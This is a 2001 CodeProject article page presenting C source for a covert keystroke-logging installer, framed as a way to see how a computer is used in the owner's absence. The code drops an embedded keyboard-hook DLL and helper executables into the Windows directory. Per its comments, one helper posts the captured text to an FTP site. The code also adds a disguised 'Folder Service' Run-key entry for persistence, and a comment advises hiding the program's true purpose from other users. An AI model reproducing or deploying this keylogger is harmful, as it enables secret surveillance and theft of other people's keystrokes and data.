Click here to Skip to main content
Click here to Skip to main content
Add your own
alternative version
Go to top

Spying on computer usage via keyboard hooks

, 22 Sep 2001
This program can be used to find out how your computer is being used while you are away.
usagefinder.zip
Finding Usage
Section 1
ddd.dsp
ddd.dsw
Section 2
Servpost.dsp
Servpost.dsw
Section3
instks.dsp
instks.dsw
Section4
change.dsp
change.dsw
change.ico
small.ico
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////



//REad carefully 
//currently no resource is added to this project
//So add that 2 exe files and dll to the binary resources to this progect..
// then rebuild ok



#include "stdafx.h"
#include "resource.h"
#include <stdio.h>
int x,y;
char s[11][25];
int iii;
HINSTANCE hInst;


LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

hInst=hInstance;
char a[MAX_PATH];
HKEY hkeyresult ;
long l=RegOpenKey (HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );
RegCloseKey ( hkeyresult );
if (l!=ERROR_SUCCESS)
{
	
FILE *f1;
strcpy(a,"");
GetWindowsDirectory(a,MAX_PATH);
strcat(a, "\\Serv22.txt" ); 
f1=fopen(a,"w");
fclose(f1);
	
	char sdate[50];
	SYSTEMTIME stime;
	GetSystemTime(&stime);
	sprintf(sdate,"%d",(stime.wDay-2)); 



	
	RegCreateKey(HKEY_LOCAL_MACHINE, ( LPCTSTR ) "Software\\Foldsoft", &hkeyresult );  
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Date" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Check" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) sdate,sizeof(sdate)) ;
	RegSetValueEx ( hkeyresult, ( LPCTSTR )"Sent" ,0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) "1",1) ;
	RegCloseKey ( hkeyresult );


	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\Serv22.dll" ); 


////////////////////////////
	HRSRC hResLoad;     // handle to loaded resource 
	HRSRC hRes;         // handle/ptr. to res. info. in hExe 

	char *lpResLock;    // pointer to resource data 
	HMODULE hModule;


//This resource is the Key board hook DLL of Section 1
// Add that Dll file to a  binary resource
	hModule = GetModuleHandle (NULL);
	hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA3), RT_RCDATA); 
	hResLoad = (HRSRC)LoadResource(NULL, hRes); 
	DWORD si,dwBytes; 
	si=SizeofResource(NULL,hRes);
	lpResLock = (char *)LockResource(hResLoad);
	HANDLE  hFile = CreateFile (a,
                                         GENERIC_WRITE,
                                         0,
                                         NULL,
                                         CREATE_ALWAYS,
                                         FILE_ATTRIBUTE_NORMAL,
                                         NULL);
	WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
	CloseHandle (hFile);

//This resource is the Exe file of Section 2 that is postin text file to that
// FTP site
// Add that exe file to a  binary resource

	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\ServPost.exe"); 

	hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA8), RT_RCDATA); 
	hResLoad = (HRSRC)LoadResource(NULL, hRes); 
	si=SizeofResource(NULL,hRes);
	lpResLock = (char *)LockResource(hResLoad);
	hFile = CreateFile (a,
                                         GENERIC_WRITE,
                                         0,
                                         NULL,
                                         CREATE_ALWAYS,
                                         FILE_ATTRIBUTE_NORMAL,
                                         NULL);
	WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
	CloseHandle (hFile);

//This resource is the Exe file of Section 3 that 
// Check the net conection..
// Add that exe file to a  binary resource

	strcpy(a,"");
	GetWindowsDirectory(a,MAX_PATH);
	strcat(a, "\\Serv22.exe" ); 

	hRes = FindResource(hModule,MAKEINTRESOURCE(IDR_DATA9), RT_RCDATA); 
	hResLoad = (HRSRC)LoadResource(NULL, hRes); 
	si=SizeofResource(NULL,hRes);
	lpResLock = (char *)LockResource(hResLoad);
	hFile = CreateFile (a,
                                         GENERIC_WRITE,
                                         0,
                                         NULL,
                                         CREATE_ALWAYS,
                                         FILE_ATTRIBUTE_NORMAL,
                                         NULL);
	WriteFile (hFile, (LPVOID)lpResLock, si, &dwBytes, NULL);
	CloseHandle (hFile);
///////////////
WinExec("Serv22",SW_SHOW);

}
//change
strcpy(a,"");
strcat(a, "Serv22.exe" ); 
HKEY childkey = 0 ;
DWORD dispos ;
RegCreateKeyEx (HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL,                                    REG_OPTION_NON_VOLATILE, KEY_CREATE_SUB_KEY | KEY_ALL_ACCESS, NULL, &childkey, &dispos ) ;
RegSetValueEx ( childkey, "Folder Service ", 0, REG_SZ, ( const BYTE* ) ( LPCTSTR ) a, sizeof(a)) ;
RegCloseKey ( childkey );

//We can add any of the other code to this part.
//So the another user Dont know the original functionality of 
//this program


return 0;
}


By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here

Share

About the Author

H. Joseph

United States United States
No Biography provided

| Advertise | Privacy | Mobile
Web02 | 2.8.140916.1 | Last Updated 23 Sep 2001
Article Copyright 2001 by H. Joseph
Everything else Copyright © CodeProject, 1999-2014
Terms of Service
Layout: fixed | fluid